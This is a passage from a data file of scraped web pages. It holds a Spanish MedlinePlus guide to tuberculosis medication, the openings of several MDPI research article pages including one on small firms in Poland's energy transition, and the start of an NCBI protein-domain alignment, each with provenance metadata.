Lock\nLocked padlock icon ) o https:// significa que usted se conect\u00f3 de forma segura a un sitio web .gov. Comparta informaci\u00f3n sensible s\u00f3lo en sitios web oficiales y seguros.\nBiblioteca Nacional de Medicina\nMen\u00fa\nTemas de salud\nMedicinas y suplementos\nGen\u00e9tica\nPruebas m\u00e9dicas\nEnciclopedia m\u00e9dica\nAcerca de MedlinePlus\nB\u00fasqueda\nBusque en MedlinePlus\nBUSCAR\nAcerca de MedlinePlus\nQu\u00e9 hay de nuevo\n\u00cdndice\nCont\u00e1ctenos\nTemas de salud\nMedicinas y suplementos\nGen\u00e9tica\nPruebas m\u00e9dicas\nEnciclopedia m\u00e9dica\nEnglish\nUsted est\u00e1 aqu\u00ed:\nP\u00e1gina Principal \u2192\nEnciclopedia m\u00e9dica \u2192\nTomar medicamentos para tratar la tuberculosis\nDirecci\u00f3n de esta p\u00e1gina: //medlineplus.gov/spanish/ency/patientinstructions/000425.htm\nTomar medicamentos para tratar la tuberculosis\nPara usar las funciones de compartir de esta p\u00e1ginas, por favor, habilite JavaScript.\nLa tuberculosis (TB) es una infecci\u00f3n bacterial contagiosa que compromete principalmente los pulmones, pero puede propagarse a otros \u00f3rganos. El objetivo del tratamiento es curar la infecci\u00f3n con medicamentos que combatan a la bacteria de la TB.\n\u00bfPor qu\u00e9 necesita medicamentos para la tuberculosis?\nUsted puede tener una infecci\u00f3n de TB pero no la enfermedad activa o los s\u00edntomas. Esto significa que la bacteria de esta enfermedad permanece inactiva (latente) en una zona peque\u00f1a de sus pulmones. Este tipo de infecci\u00f3n puede estar presente durante a\u00f1os y se llama tuberculosis latente. Con la TB latente:\nUsted no puede propagar la enfermedad a otras personas.\nEn algunas personas, la bacteria puede volverse activa. Si esto sucede, usted puede resultar enfermo o puede pasarle los g\u00e9rmenes de la TB a otra persona.\nAunque usted no se sienta enfermo, necesitar\u00e1 tomar medicamentos para la tuberculosis durante 6 a 9 meses. Esta es la \u00fanica manera de garantizar que se destruyan todas las bacterias de la TB en su cuerpo y no desarrolle una infecci\u00f3n activa en el futuro.\nCuando usted tiene tuberculosis activa, puede sentirse enfermo o tener tos, bajar de peso, sentirse cansado o tener fiebre o sudores fr\u00edos. Con la TB activa:\nUsted puede transmitir la tuberculosis a otras personas en su entorno. Esto incluye a las personas con quienes usted vive, trabaja o con quienes tiene un estrecho contacto.\nUsted necesita tomar varios medicamentos para la tuberculosis durante al menos 6 meses para eliminar de su cuerpo las bacterias de esta enfermedad. Debe empezar a sentirse mejor al cabo de un mes de haber comenzado los medicamentos.\nDurante las primeras 2 a 4 semanas despu\u00e9s de empezar a tomar los medicamentos, posiblemente deba permanecer en casa para evitar la propagaci\u00f3n de la tuberculosis a otros. Preg\u00fantele a su proveedor de atenci\u00f3n m\u00e9dica cu\u00e1ndo puede estar cerca de otras personas sin problema.\nSu proveedor est\u00e1 obligado por ley a informar sobre su caso a la Secretar\u00eda de Salud P\u00fablica local.\nSe le puede obligar legalmente a tomar sus medicamentos.\nPreg\u00fantele a su proveedor si otras personas con quienes usted trabaja o vive deben ser examinadas en busca de tuberculosis.\nC\u00f3mo tomar los medicamentos\nLos g\u00e9rmenes de la tuberculosis mueren muy lentamente. Usted necesita tomar varias p\u00edldoras diferentes en distintos momentos del d\u00eda, durante 6 meses o m\u00e1s. La \u00fanica forma de eliminarlos es tomar los medicamentos para la tuberculosis de la manera como su proveedor lo haya indicado. Esto significa tomar todos los medicamentos todos los d\u00edas.\nSi no toma sus medicamentos para la tuberculosis de la manera correcta o deja de tomarlas antes:\nSu infecci\u00f3n de tuberculosis puede empeorar.\nSu infecci\u00f3n puede resultar m\u00e1s dif\u00edcil de tratar. Los medicamentos que est\u00e9 tomando pueden dejar de hacer efecto. Esto se denomina tuberculosis farmacorresistente y puede ser muy dif\u00edcil de tratar.\nTal vez necesite tomar otros medicamentos con m\u00e1s efectos secundarios y menos capacidad para curar la infecci\u00f3n.\nLe puede propagar la infecci\u00f3n a otros.\nSi a su proveedor le preocupa que usted tal vez no est\u00e9 tomando todos los medicamentos de acuerdo con las instrucciones, puede ordenar que alguien lo visite todos los d\u00edas o unas cuantas veces a la semana para vigilar que usted tome los medicamentos para la tuberculosis. Esto se llama tratamiento de observaci\u00f3n directa.\nEfectos secundarios y otros problemas\nLas mujeres que puedan estar embarazadas, que est\u00e9n embarazadas o que est\u00e9n amamantando deben hablar con su proveedor antes de tomar estos medicamentos. Si est\u00e1 utilizando pastillas anticonceptivas, preg\u00fantele a su proveedor si los medicamentos para la tuberculosis pueden hacer que las p\u00edldoras anticonceptivas sean menos efectivas.\nLa mayor\u00eda de las personas no tiene efectos secundarios muy graves a ra\u00edz de los medicamentos para la tuberculosis. Los problemas con los que hay que tener cuidado y comentarle a su proveedor incluyen:\nArticulaciones dolorosas\nHematomas o tendencia al sangrado\nFiebre\nPoco o ning\u00fan apetito\nHormigueo o dolores en los dedos de los pies o las manos, o alrededor de la boca\nMalestar estomacal, n\u00e1useas o v\u00f3mitos y c\u00f3licos o dolor de estomago\nProblemas de la visi\u00f3n\nPiel u ojos amarillos (ictericia)\nOrina de color del t\u00e9 o naranja (la orina de color naranja es normal con algunos medicamentos)\nCu\u00e1ndo llamar al m\u00e9dico\nComun\u00edquese con su proveedor si tiene:\nCualquiera de los efectos secundarios mencionados anteriormente\nNuevos s\u00edntomas de TB activa, como tos, fiebre o sudores nocturnos, dificultad para respirar, o dolor en el pecho\nNombres alternativos\nMedicamentos - tuberculosis; TVD; Terapia vigilada directamente; TB - medicamentos\nReferencias\nBailey TC, Philips JA. Tuberculosis. In: Goldman L, Cooney KA, eds. Goldman-Cecil Medicine. 27th ed. Philadelphia, PA: Elsevier; 2024:chap 299.\nHorne DJ, Payam N. Tuberculosis: treatment of drug-susceptible and drug-resistant. In: Broaddus VC, King TE, Ernst JD, et al, eds. Murray and Nadel's Textbook of Respiratory Medicine. 7th ed. Philadelphia, PA: Elsevier; 2022:chap 54.\nUltima revisi\u00f3n 11/25/2023\nVersi\u00f3n en ingl\u00e9s revisada por: Denis Hadjiliadis, MD, MHS, Paul F. Harron Jr. Professor of Medicine, Pulmonary, Allergy, and Critical Care, Perelman School of Medicine, University of Pennsylvania, Philadelphia, PA. Also reviewed by David C. Dugdale, MD, Medical Director, Brenda Conaway, Editorial Director, and the A.D.A.M. Editorial team.\nTraducci\u00f3n y localizaci\u00f3n realizada por: DrTango, Inc.\nConozca c\u00f3mo citar esta p\u00e1gina\nTemas de salud relacionados\nTuberculosis\nHojee la enciclopedia\nHealth Content Provider\n06/01/2028\nA.D.A.M., Inc. est\u00e1 acreditada por la URAC, tambi\u00e9n conocido como American Accreditation HealthCare Commission (www.urac.org). La acreditaci\u00f3n de la URAC es un comit\u00e9 auditor independiente para verificar que A.D.A.M. cumple los rigurosos est\u00e1ndares de calidad e integridad. A.D.A.M. es una de las primeras empresas en alcanzar esta tan importante distinci\u00f3n en servicios de salud en la red. Conozca m\u00e1s sobre la politica editorial, el proceso editorial, y la poliza de privacidad de A.D.A.M.\nLa informaci\u00f3n aqu\u00ed proporcionada no debe utilizarse durante ninguna emergencia m\u00e9dica ni para el diagn\u00f3stico o tratamiento de ninguna afecci\u00f3n m\u00e9dica. Se debe consultar a un profesional m\u00e9dico autorizado para el diagn\u00f3stico y tratamiento de cualquiera y todas las afecciones m\u00e9dicas. Los enlaces a otros sitios se proporcionan \u00fanicamente con fines informativos; no constituyen una recomendaci\u00f3n de dichos sitios. No se ofrece garant\u00eda alguna, expresa ni impl\u00edcita, en cuanto a la precisi\u00f3n, fiabilidad, puntualidad o exactitud de las traducciones realizadas por un servicio externo de la informaci\u00f3n aqu\u00ed proporcionada a cualquier otro idioma.\n", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/38224a8f-3fd0-4a68-9c39-d02992904a7d", "content_hash": "0fb16078836948bd49001df26bf7bbb55c0421b32eba6a5ea6118f1861384abf", "created_at": "2026-03-28T05:11:10.723323722Z"} +{"id": "0cbef759-4fa7-4c27-926d-0af604296eda", "source": "brain", "text": "Exploiting High Geopositioning Accuracy of SAR Data to Obtain Accurate Geometric Orientation of Optical Satellite Images\n\nExploiting High Geopositioning Accuracy of SAR Data to Obtain Accurate Geometric Orientation of Optical Satellite Images\nNext Article in Journal\nA Comparison of ALS and Dense Photogrammetric Point Clouds for Individual Tree Detection in Radiata Pine Plantations\nPrevious Article in Journal\n3D Point Cloud Reconstruction Using Inversely Mapping and Voting from Single Pass CSAR Images\nJournals\nActive Journals Find a Journal Journal Proposal Proceedings Series\nTopics\nInformation\nFor Authors For Reviewers For Editors For Librarians For Publishers For Societies For Conference Organizers\nOpen Access Policy Institutional Open Access Program Special Issues Guidelines Editorial Process Research and Publication Ethics Article Processing Charges Awards Testimonials\nAuthor Services\nInitiatives\nSciforum MDPI Books Preprints.org Scilit SciProfiles Encyclopedia JAMS Proceedings Series\nAbout\nOverview Contact Careers News Press Blog\nSign In / Sign Up\nNotice\nYou can make submissions to other journals here.\nclear\nNotice\nYou are accessing a machine-readable page. In order to be human-readable, please install an RSS reader.\nContinue Cancel\nclear\nAll articles published by MDPI are made immediately available worldwide under an open access license. No special permission is required to reuse all or part of the article published by MDPI, including figures and tables. For articles published under an open access Creative Common CC BY license, any part of the article may be reused without permission provided that the original article is clearly cited. For more information, please refer to https://www.mdpi.com/openaccess.\nFeature papers represent the most advanced research with significant potential for high impact in the field. A Feature Paper should be a substantial original Article that involves several techniques or approaches, provides an outlook for future research directions and describes possible research applications.\nFeature papers are submitted upon individual invitation or recommendation by the scientific editors and must receive positive feedback from the reviewers.\nEditor\u2019s Choice articles are based on recommendations by the scientific editors of MDPI journals from around the world. Editors select a small number of articles recently published in the journal that they believe will be particularly interesting to readers, or important in the respective research area. The aim is to provide a snapshot of some of the most exciting work published in the various research areas of the journal.\nOriginal Submission Date Received: .\nYou seem to have javascript disabled. Please note that many of the page functionalities won't work as expected without javascript enabled.\nclear zoom_out_map search menu\nJournals\nActive Journals\nFind a Journal\nJournal Proposal\nProceedings Series\nTopics\nInformation\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nFor Publishers\nFor Societies\nFor Conference Organizers\nOpen Access Policy\nInstitutional Open Access Program\nSpecial Issues Guidelines\nEditorial Process\nResearch and Publication Ethics\nArticle Processing Charges\nAwards\nTestimonials\nAuthor Services\nInitiatives\nSciforum\nMDPI Books\nPreprints.org\nScilit\nSciProfiles\nEncyclopedia\nJAMS\nProceedings Series\nAbout\nOverview\nContact\nCareers\nNews\nPress\nBlog\nSign In / Sign Up Submit\nerror_outline You can access the new MDPI.com website here. Explore and share your feedback with us. close\nSearch for Articles:\nTitle / Keyword\nAuthor / Affiliation / Email\nJournal\nAll Journals Accounting and Auditing Acoustics Acta Microbiologica Hellenica (AMH) Actuators Adhesives Administrative Sciences Adolescents Advances in Respiratory Medicine (ARM) Aerobiology Aerospace Agriculture AgriEngineering Agrochemicals Agronomy AI AI Chemistry AI for Engineering AI in Education AI in Medicine AI Materials AI Sensors Air Algorithms Allergies Alloys Analog Analytica Analytics Anatomia Anesthesia Research Animals Antibiotics Antibodies Antioxidants Applied Biosciences Applied Mechanics Applied Microbiology Applied Nano Applied Sciences Applied System Innovation (ASI) AppliedChem AppliedMath AppliedPhys Aquaculture Journal Architecture Arthropoda Arts Astronautics Astronomy Atmosphere Atoms Audiology Research Automation Axioms Bacteria Batteries Behavioral Sciences Beverages Big Data and Cognitive Computing (BDCC) BioChem Bioengineering Biologics Biology Biology and Life Sciences Forum Biomass Biomechanics BioMed Biomedicines BioMedInformatics Biomimetics Biomolecules Biophysica Bioresources and Bioproducts Biosensors Biosphere BioTech Birds Blockchains Brain Sciences Buildings Businesses C (Journal of Carbon Research) Cancers Cardiogenetics Cardiovascular Medicine Catalysts Cells Ceramics Challenges ChemEngineering Chemistry Chemistry Proceedings Chemosensors Children Chips CivilEng Clean Technologies (Clean Technol.) Climate Clinical and Translational Neuroscience (CTN) Clinical Bioenergetics Clinics and Practice Clocks & Sleep Coasts Coatings Colloids and Interfaces Colorants Commodities Complexities Complications Compounds Computation Computer Sciences & Mathematics Forum Computers Condensed Matter Conservation Construction Materials Corrosion and Materials Degradation (CMD) Cosmetics COVID Craniomaxillofacial Trauma & Reconstruction (CMTR) Crops Cryo Cryptography Crystals Culture Current Issues in Molecular Biology (CIMB) Current Oncology Dairy Data Dentistry Journal Dermato Dermatopathology Designs Diabetology Diagnostics Dietetics Digital Disabilities Diseases Diversity DNA Drones Drugs and Drug Candidates (DDC) Dynamics Earth Ecologies Econometrics Economies Education Sciences Electricity Electrochem Electronic Materials Electronics Emergency Care and Medicine Encyclopedia Endocrines Energies Energy Storage and Applications (ESA) Eng Engineering Proceedings Entropic and Disordered Matter (EDM) Entropy Environmental and Earth Sciences Proceedings Environments Epidemiologia Epigenomes European Burn Journal (EBJ) European Journal of Investigation in Health, Psychology and Education (EJIHPE) Family Sciences Fermentation Fibers FinTech Fire Fishes Fluids Foods Forecasting Forensic Sciences Forests Fossil Studies Foundations Fractal and Fractional (Fractal Fract) Fuels Future Future Internet Future Pharmacology Future Transportation Galaxies Games Gases Gastroenterology Insights Gastrointestinal Disorders Gastronomy Gels Genealogy Genes Geographies GeoHazards Geomatics Geometry Geosciences Geotechnics Geriatrics Germs Glacies Gout, Urate, and Crystal Deposition Disease (GUCDD) Grasses Green Health Hardware Healthcare Hearts Hemato Hematology Reports Heritage Histories Horticulturae Hospitals Humanities Humans Hydrobiology Hydrogen Hydrology Hydropower Hygiene Immuno Industries Infectious Disease Reports Informatics Information Infrastructures Inorganics Insects Instruments Intelligent Infrastructure and Construction International Journal of Cognitive Sciences (IJCS) International Journal of Environmental Medicine (IJEM) International Journal of Environmental Research and Public Health (IJERPH) International Journal of Financial Studies (IJFS) International Journal of Molecular Sciences (IJMS) International Journal of Neonatal Screening (IJNS) International Journal of Orofacial Myology and Myofunctional Therapy (IJOM) International Journal of Plant Biology (IJPB) International Journal of Topology International Journal of Translational Medicine (IJTM) International Journal of Turbomachinery, Propulsion and Power (IJTPP) International Medical Education (IME) Inventions IoT ISPRS International Journal of Geo-Information (IJGI) J Journal of Aesthetic Medicine (J. Aesthetic Med.) Journal of Ageing and Longevity (JAL) Journal of CardioRenal Medicine (JCRM) Journal of Cardiovascular Development and Disease (JCDD) Journal of Clinical & Translational Ophthalmology (JCTO) Journal of Clinical Medicine (JCM) Journal of Composites Science (J. Compos. Sci.) Journal of Cybersecurity and Privacy (JCP) Journal of Dementia and Alzheimer's Diseas", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/0cbef759-4fa7-4c27-926d-0af604296eda", "content_hash": "7eb9d356a4094356bd2ed13c42ab4b7e7b082c575c4aac96f7be372a7da94dae", "created_at": "2026-03-28T05:11:10.701123316Z"} +{"id": "591c0a28-a223-4328-8662-475c4cea5c1b", "source": "brain", "text": "Optimized Refeeding vs. Standard Care in Malnourished Older Hospitalized Patients: A Prospective, Non-Randomized Cluster-Controlled Study in Geriat...\n\nOptimized Refeeding vs. Standard Care in Malnourished Older Hospitalized Patients: A Prospective, Non-Randomized Cluster-Controlled Study in Geriatric Acute Care\nNext Article in Journal\nPercutaneous Coronary Intervention in Out-of-Hospital Cardiac Arrest Related to Acute Coronary Syndrome: A Literature Review\nPrevious Article in Journal\nAdvanced Age May Not Be an Absolute Contraindication for Radical Nephroureterectomy in Patients with Upper Tract Urothelial Carcinoma: A Single-Center Case Series and a Systematic Review with Meta-Analyses\nJournals\nActive Journals Find a Journal Journal Proposal Proceedings Series\nTopics\nInformation\nFor Authors For Reviewers For Editors For Librarians For Publishers For Societies For Conference Organizers\nOpen Access Policy Institutional Open Access Program Special Issues Guidelines Editorial Process Research and Publication Ethics Article Processing Charges Awards Testimonials\nAuthor Services\nInitiatives\nSciforum MDPI Books Preprints.org Scilit SciProfiles Encyclopedia JAMS Proceedings Series\nAbout\nOverview Contact Careers News Press Blog\nSign In / Sign Up\nNotice\nYou can make submissions to other journals here.\nclear\nNotice\nYou are accessing a machine-readable page. In order to be human-readable, please install an RSS reader.\nContinue Cancel\nclear\nAll articles published by MDPI are made immediately available worldwide under an open access license. No special permission is required to reuse all or part of the article published by MDPI, including figures and tables. For articles published under an open access Creative Common CC BY license, any part of the article may be reused without permission provided that the original article is clearly cited. For more information, please refer to https://www.mdpi.com/openaccess.\nFeature papers represent the most advanced research with significant potential for high impact in the field. A Feature Paper should be a substantial original Article that involves several techniques or approaches, provides an outlook for future research directions and describes possible research applications.\nFeature papers are submitted upon individual invitation or recommendation by the scientific editors and must receive positive feedback from the reviewers.\nEditor\u2019s Choice articles are based on recommendations by the scientific editors of MDPI journals from around the world. Editors select a small number of articles recently published in the journal that they believe will be particularly interesting to readers, or important in the respective research area. The aim is to provide a snapshot of some of the most exciting work published in the various research areas of the journal.\nOriginal Submission Date Received: .\nYou seem to have javascript disabled. Please note that many of the page functionalities won't work as expected without javascript enabled.\nclear zoom_out_map search menu\nJournals\nActive Journals\nFind a Journal\nJournal Proposal\nProceedings Series\nTopics\nInformation\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nFor Publishers\nFor Societies\nFor Conference Organizers\nOpen Access Policy\nInstitutional Open Access Program\nSpecial Issues Guidelines\nEditorial Process\nResearch and Publication Ethics\nArticle Processing Charges\nAwards\nTestimonials\nAuthor Services\nInitiatives\nSciforum\nMDPI Books\nPreprints.org\nScilit\nSciProfiles\nEncyclopedia\nJAMS\nProceedings Series\nAbout\nOverview\nContact\nCareers\nNews\nPress\nBlog\nSign In / Sign Up Submit\nerror_outline You can access the new MDPI.com website here. Explore and share your feedback with us. close\nSearch for Articles:\nTitle / Keyword\nAuthor / Affiliation / Email\nJournal\nAll Journals Accounting and Auditing Acoustics Acta Microbiologica Hellenica (AMH) Actuators Adhesives Administrative Sciences Adolescents Advances in Respiratory Medicine (ARM) Aerobiology Aerospace Agriculture AgriEngineering Agrochemicals Agronomy AI AI Chemistry AI for Engineering AI in Education AI in Medicine AI Materials AI Sensors Air Algorithms Allergies Alloys Analog Analytica Analytics Anatomia Anesthesia Research Animals Antibiotics Antibodies Antioxidants Applied Biosciences Applied Mechanics Applied Microbiology Applied Nano Applied Sciences Applied System Innovation (ASI) AppliedChem AppliedMath AppliedPhys Aquaculture Journal Architecture Arthropoda Arts Astronautics Astronomy Atmosphere Atoms Audiology Research Automation Axioms Bacteria Batteries Behavioral Sciences Beverages Big Data and Cognitive Computing (BDCC) BioChem Bioengineering Biologics Biology Biology and Life Sciences Forum Biomass Biomechanics BioMed Biomedicines BioMedInformatics Biomimetics Biomolecules Biophysica Bioresources and Bioproducts Biosensors Biosphere BioTech Birds Blockchains Brain Sciences Buildings Businesses C (Journal of Carbon Research) Cancers Cardiogenetics Cardiovascular Medicine Catalysts Cells Ceramics Challenges ChemEngineering Chemistry Chemistry Proceedings Chemosensors Children Chips CivilEng Clean Technologies (Clean Technol.) Climate Clinical and Translational Neuroscience (CTN) Clinical Bioenergetics Clinics and Practice Clocks & Sleep Coasts Coatings Colloids and Interfaces Colorants Commodities Complexities Complications Compounds Computation Computer Sciences & Mathematics Forum Computers Condensed Matter Conservation Construction Materials Corrosion and Materials Degradation (CMD) Cosmetics COVID Craniomaxillofacial Trauma & Reconstruction (CMTR) Crops Cryo Cryptography Crystals Culture Current Issues in Molecular Biology (CIMB) Current Oncology Dairy Data Dentistry Journal Dermato Dermatopathology Designs Diabetology Diagnostics Dietetics Digital Disabilities Diseases Diversity DNA Drones Drugs and Drug Candidates (DDC) Dynamics Earth Ecologies Econometrics Economies Education Sciences Electricity Electrochem Electronic Materials Electronics Emergency Care and Medicine Encyclopedia Endocrines Energies Energy Storage and Applications (ESA) Eng Engineering Proceedings Entropic and Disordered Matter (EDM) Entropy Environmental and Earth Sciences Proceedings Environments Epidemiologia Epigenomes European Burn Journal (EBJ) European Journal of Investigation in Health, Psychology and Education (EJIHPE) Family Sciences Fermentation Fibers FinTech Fire Fishes Fluids Foods Forecasting Forensic Sciences Forests Fossil Studies Foundations Fractal and Fractional (Fractal Fract) Fuels Future Future Internet Future Pharmacology Future Transportation Galaxies Games Gases Gastroenterology Insights Gastrointestinal Disorders Gastronomy Gels Genealogy Genes Geographies GeoHazards Geomatics Geometry Geosciences Geotechnics Geriatrics Germs Glacies Gout, Urate, and Crystal Deposition Disease (GUCDD) Grasses Green Health Hardware Healthcare Hearts Hemato Hematology Reports Heritage Histories Horticulturae Hospitals Humanities Humans Hydrobiology Hydrogen Hydrology Hydropower Hygiene Immuno Industries Infectious Disease Reports Informatics Information Infrastructures Inorganics Insects Instruments Intelligent Infrastructure and Construction International Journal of Cognitive Sciences (IJCS) International Journal of Environmental Medicine (IJEM) International Journal of Environmental Research and Public Health (IJERPH) International Journal of Financial Studies (IJFS) International Journal of Molecular Sciences (IJMS) International Journal of Neonatal Screening (IJNS) International Journal of Orofacial Myology and Myofunctional Therapy (IJOM) International Journal of Plant Biology (IJPB) International Journal of Topology International Journal of Translational Medicine (IJTM) International Journal of Turbomachinery, Propulsion and Power (IJTPP) International Medical Education (IME) Inventions IoT ISPRS International Journal of Geo-Information (IJGI) J Journal of Aesthetic Medicine (J. Aesthetic Med.) Journal of Ageing and Longevity (JAL) Journal of CardioRenal Medicine (JCRM) Journal of Cardiovascular Development and Disease (JCDD) Journal of Clinical & Translational Ophthalmology (JCTO) Journal", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/591c0a28-a223-4328-8662-475c4cea5c1b", "content_hash": "cc7c44dfb9678d4f1a87a06c6b20d0a9cf377ab7c226d3293326d70fdb8d9c16", "created_at": "2026-03-28T05:11:10.647688638Z"} +{"id": "0994b39e-8c17-4acf-ae41-26bf2cf3ae9a", "source": "brain", "text": "Involving Micro and Small Enterprises in the Energy Transition: Evidence from Poland | MDPI\n\nInvolving Micro and Small Enterprises in the Energy Transition: Evidence from Poland | MDPI\nSkip Content\nYou are currently on the new version of our website. Access the old version\nhere\n.\nClose\nJournals\nAll Journals\nJournal Finder\nProceedings Series\nPropose a Journal\nTopics\nBy Subjects\nBiology & Life Sciences\nBusiness & Economics\nChemistry & Materials\nComputer Science & Mathematics\nEngineering\nEnvironmental & Earth Sciences\nMedicine & Pharmacology\nPhysical Sciences\nPublic Health & Healthcare\nSocial Sciences, Arts & Humanities\nOur Topics\nAll Topics\nAbout Topics\nTopics Awards\nSubject Editors\nPropose a Topic\nAuthor Services\nInformation\nPublishing\nOpen Access Policy\nEditorial Process\nPublication Ethics\nSpecial Issues Guidelines\nArticle Processing Charge\nPublishing Services\nGuidelines\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nPartnerships\nSocieties\nConferences\nInstitutional Open\nAccess Program\nAbout\nCompany\nAbout Us\nMission\nImpact\nHistory\nLeadership\nOffice Locations\nAwards\nCareers\nProducts\nMedia\nNews\nBlog\nContact\nSupport\nSend Feedback\nSearch\nOpen mobile navigation\nHome\nJournals\nEnergies\nVolume 17\nIssue 4\n10.3390/en17040847\nEnergiesEnergies\nOpen Cite\nCite\nOpen Share\nShare\nDownload PDF\nMore formats\nAbstractIntroductionEnergy Transition Challenges for BusinessesResearch MethodologyResultsDiscussion and ConclusionsAuthor ContributionsFundingData Availability StatementConflicts of InterestReferencesArticle Metrics\nArticle\n11 February 2024\nInvolving Micro and Small Enterprises in the Energy Transition: Evidence from Poland\nTomasz Bernat1\n,\nSylwia Flaszewska2\n,\nRenata Lisowska3,*\nand\nKatarzyna Szyma\u0144ska2\n1\nEconomics Department, Institute of Economics and Finance, University of Szczecin, 64 Mickiewicza Street, 71-101 Szczecin, Poland\n2\nDivision of Strategic Management, Institute of Management, Faculty of Organization and Management, Lodz University of Technology, 221 W\u00f3lcza\u0144ska Street, 93-005 Lodz, Poland\n3\nDepartment of Entrepreneurship and Industrial Policy, Faculty of Management, University of Lodz, 22/26 Matejki Street, 90-237 Lodz, Poland\n*\nAuthor to whom correspondence should be addressed.\nEnergies2024, 17(4), 847;https://doi.org/10.3390/en17040847\nThis article belongs to the Special Issue Transition of the Energy Systems and the Development of Urban Functional Areas\nVersion Notes\nOrder Reprints\nAbstract\nThe energy transition is one of humanity\u2019s most significant challenges. All micro, small, medium, and large enterprises will have to face it, and some are already making progress. This paper focuses on the involvement of the smallest actors in the energy transition. Micro and small enterprises comprise the largest part of the economy and significantly impact its development. Concerning the broad scope of their activities, these entities are characterized by a specific owner\u2013manager relationship. This means that the final decision is influenced by business objectives, the manager\u2019s approach, their awareness of change, and personal and other factors. Based on the analysis of data from 400 companies, it was found that the involvement of micro and small enterprises in the energy transition is related to their market and financial success.\nKeywords:\nenergy transition; micro and small enterprises; energy efficiency; involvement in the energy transition; market and financial results\n1. Introduction\nTransformation is a long-term change process resulting from economic, social, technological, institutional and/or environmental development. This process also involves energy systems, which, as we know, are not static. Energy transition is a complex and difficult process to describe [1,2,3]. It is expected to contribute to the goals within the realm of sustainable development and the European Green Deal. It will only be possible through the industry\u2019s commitment to actions for a more sustainable economy [4,5,6].\nInnovative solutions must be promoted to move smoothly through this process, and governments and companies must invest in technologies based on renewable energy sources. For these activities to be effective, all organizations must participate, including those in the micro and small business sectors [7]. Promoting these processes from the viewpoint of micro and small-sized companies indicates the necessity of adopting a broad perspective on external conditions for developing activities mainly related to the transfer and financing of technological solutions [8]. To strengthen their position in the market and increase the scope of energy transition, the indicated enterprises often have to seek assistance from external sources. Researchers point to the economic benefits of efforts to transition energy. They suggest that the digitization and efficiency of energy consumption activities have an increasing impact on the market and financial performance of pre-enterprises. This is associated with a reasonably fast payback period, which for small projects is only about 3 to 5 years [9]. From an economic perspective, environmental effects are significant. The economic cost\u2013benefit relationship focuses on the growth model associated with maximizing production or service delivery with less energy and resource consumption. Such a value-based approach leads to currently relevant considerations about the purpose of trade and the nature of what is simultaneously beneficial to the business development of the environment in which it operates. Such activities, supported by a broad range of tools and applications, will increase the potential of micro and small businesses to make a genuine and lasting difference in reducing their impact on their part of the environment [10,11].\nIn light of this, a vital factor in determining the development of businesses in line with the energy transition is collaborating with the environment of these entities. In addition to external adaptation, the internal dimension of the environment of a given enterprise is also crucial in the literature. Under the complete or potential control of a given entity includes various resources used in the management process (i.e., financial, human, physical, and information) that support the development of energy transition [4,12]. It is, therefore, necessary to strive to build open relations between different sectors to support activities aimed at energy transformation. Strong promotion of energy investments for micro and small businesses will arouse the involvement of their owners in these ventures.\nRespecting features such as flexibility, entrepreneurship, and innovation is key to implementing environmental programs and increasing the competitiveness of enterprises [13,14].\nTherefore, promoting energy transition in micro and small companies is a direction that builds a new quality of their functioning in the market. Therefore, both the role and tasks of the entrepreneur themself are changing. You should also be aware that in crises, these conditions may become critical barriers that have a negative impact on energy transition [15,16,17].\nTaking into account that micro and small entities are the most significant part of the economy, have a great influence on its development, and look at the wide scale of their activities, a specific owner\u2013manager relationship distinguishes these entities. This means that business goals influence the final decision making process, the manager\u2019s approach, their awareness of changes, and personal and other factors. Therefore, the area of energy transition for micro and small businesses should be intensively studied by researchers. Polish and foreign researchers have already studied the relationship between the management process, energy transition, and sustainability [18,19,20]. Although discussion of the energy transition touches on financial and market issues and effects [20] more often in large companies, it rarely refers to micro and small companies. The discussion in this area is legitimate because it is essential for realizing environmental goals to develop energy t", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/0994b39e-8c17-4acf-ae41-26bf2cf3ae9a", "content_hash": "2436ba22d7af8a8aa1f74d2edd0fd642a41049615b273208d6a9a7abc39f3cee", "created_at": "2026-03-28T05:11:10.592840551Z"} +{"id": "16b5440e-6a72-4d01-b1df-782d1019792d", "source": "brain", "text": "CDD Conserved Protein Domain Family: PRK08243\n\nCDD Conserved Protein Domain Family: PRK08243\nConserved Protein Domain Family\nPRK08243\nEntrez CDD Structure Protein Help\n?\nPRK08243: PRK08243\nDownload alignment\n4-hydroxybenzoate 3-monooxygenase; Validated\nLinks\n?\nSource: PRK\nTaxonomy: Bacteria\nProtein: Representatives\nSpecific Protein\nRelated Protein\nRelated Structure\nArchitectures\nSuperfamily: cl21454\nStatistics\n?\nPSSM-Id: 236198\nAligned: 164 rows\nThreshold Bit Score: 488.539\nCreated: 9-Dec-2010\nUpdated: 25-Oct-2021\nStructure\n?\nAligned Rows:\nDownload Cn3D\nSequence Alignment\ninclude consensus sequence ?\nFormat: Hypertext Plain Text mFasta Compact Hypertext Compact Text Row Display: Color Bits: 0.5 bit 1.0 bit 1.5 bit 2.0 bit 2.5 bit 3.0 bit 3.5 bit 4.0 bit Identity Type Selection: top listed sequences the most diverse members\n\n109900192 4 VKTKVAIIGAGPSGLLLGQLLAKQGIDNIIVERVSGEYVLGRIRAGILEQGLVDLLREANVNERMDGEGHVHDGFEISYY 83 \n300713295 6 EETKVAIIGAGVAGLTLATFLQKSGVPCVVLERRNRTYVEVRQRAGVVEARGVEMFERWGLADKLLA-GPVAQTIDYRVN 84 \n300783217 3 EHTTVVIVGAGVAGLTLGNILLRNGIDCVILEKYGREHVEQRQRAGTIDSRGVRMFREWGLEEVLAHDAPTEVDAGFFLD 82 \n134100570 4 VRTRVAVVGAGPSGLLLSHLLHTQGIDSVVLERRSREHVESRVRAGMLEQGVADLIRQAGVGARMDREGFVHDGFELRIG 83 \n21219815 14 RGISVVVVGAGPAGLTVGSILRAAGVGCLVLETATREVVEHRPRAGVIEEWAVRGLARRGLARTLLERAQAHTECEFRFA 93 \n290962740 17 MHTTVGIIGGGPAGLLLARLLHNAGIDSVVLERKDRAYVEQRQRAGILEQATVDVLRSAGAGARLDAEGIPHDGIELRYD 96 \n29830060 1 